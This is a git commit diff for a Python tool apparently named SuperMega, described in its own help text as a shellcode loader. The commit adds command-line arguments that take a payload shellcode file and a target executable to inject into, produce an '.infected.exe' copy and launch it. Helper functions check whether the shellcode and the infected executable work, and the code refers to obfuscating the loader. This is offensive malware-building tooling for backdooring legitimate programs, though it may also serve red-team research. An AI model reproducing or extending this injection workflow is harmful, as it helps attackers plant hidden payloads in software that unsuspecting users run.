feature: command line arguments

This commit is contained in:
Dobin
2024-02-05 13:15:16 +00:00
parent 2680e80da4
commit 5e0d096ff7
2 changed files with 40 additions and 20 deletions
+5 -5
View File
@@ -183,7 +183,7 @@ def try_start_shellcode(shc_file):
subprocess.run([
path_runshc,
shc_file,
], check=True)
]) # , check=True
def obfuscate_shc_loader(file_shc_in, file_shc_out):
@@ -228,11 +228,11 @@ def verify_shellcode(shc_name):
], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # , check=True
time.sleep(SHC_VERIFY_SLEEP)
if os.path.isfile(verify_filename):
print("---> Verify OK. Shellcode payload verified (file was created)")
print("---> Verify OK. Shellcode works (file was created)")
os.remove(verify_filename)
return True
else:
print("---> Verify FAIL. Payload did not create file.")
print("---> Verify FAIL. Shellcode doesnt work (file was not created)")
return False
@@ -262,12 +262,12 @@ def verify_injected_exe(exefile):
], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) # , check=True
time.sleep(SHC_VERIFY_SLEEP)
if os.path.isfile(verify_filename):
print("---> Verify OK. Infected exe verified (file was created)")
print("---> Verify OK. Infected exe works (file was created)")
# better to remove it immediately
os.remove(verify_filename)
return True
else:
print("---> Verify FAIL. Infected exe did not create file.")
print("---> Verify FAIL. Infected exe does not work (no file created)")
return False
+35 -15
View File
@@ -1,6 +1,7 @@
import shutil
from enum import Enum
from helper import *
import argparse
class AllocStyle(Enum):
@@ -32,6 +33,7 @@ options_default = {
"try_start_loader_shellcode": False, # without payload (Debugging)
"try_start_final_shellcode": True, # with payload (should work)
"try_start_final_infected_exe": True, # with payload (should work)
# cleanup
"cleanup_files_on_start": True,
@@ -84,16 +86,13 @@ options_verify = {
"test_obfuscated_shc": False,
}
options = options_verify
options = None
main_c_file = os.path.join(build_dir, "main.c")
main_asm_file = os.path.join(build_dir, "main.asm")
main_exe_file = os.path.join(build_dir, "main.exe")
main_shc_file = os.path.join(build_dir, "main.bin")
debug_data = {
"loader_shellcode": b"",
"payload_shellcode": b"",
@@ -111,6 +110,30 @@ debug_data = {
def main():
print("Super Mega")
parser = argparse.ArgumentParser(description='SuperMega shellcode loader')
parser.add_argument('--shellcode', type=str, help='The path to the file of your payload shellcode')
parser.add_argument('--inject', type=str, help='The path to the file where we will inject ourselves in')
parser.add_argument('--verify', action='store_true', help='Debug: Perform verification')
args = parser.parse_args()
if args.verify:
options = options_verify
else:
options = options_default
if args.shellcode:
if not os.path.isfile(args.shellcode):
print("Could not find: {}".format(args.shellcode))
return
options["payload"] = args.shellcode
if args.inject:
if not os.path.isfile(args.inject):
print("Could not find: {}".format(args.inject))
return
options["inject_exe"] = True
options["inject_exe_in"] = args.inject
options["inject_exe_out"] = args.inject.replace(".exe", ".infected.exe")
if options["cleanup_files_on_start"]:
clean_files()
@@ -179,19 +202,16 @@ def main():
if verify_injected_exe(options["inject_exe_out"]):
debug_data["infected_exe"] = file_readall_binary(options["inject_exe_out"])
if options["try_start_final_infected_exe"]:
print("--[ Start infected exe ]")
subprocess.run([
options["inject_exe_out"],
], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if options["cleanup_files_on_exit"]:
clean_files()
print("{} {} {} - {} {} {} - {} {}".format(
len(debug_data["loader_shellcode"]),
len(debug_data["payload_shellcode"]),
len(debug_data["final_shellcode"]),
len(debug_data["asm_initial"]),
len(debug_data["asm_cleanup"]),
len(debug_data["asm_fixup"]),
len(debug_data["original_exe"]),
len(debug_data["infected_exe"]),
))
if __name__ == "__main__":
main()
main()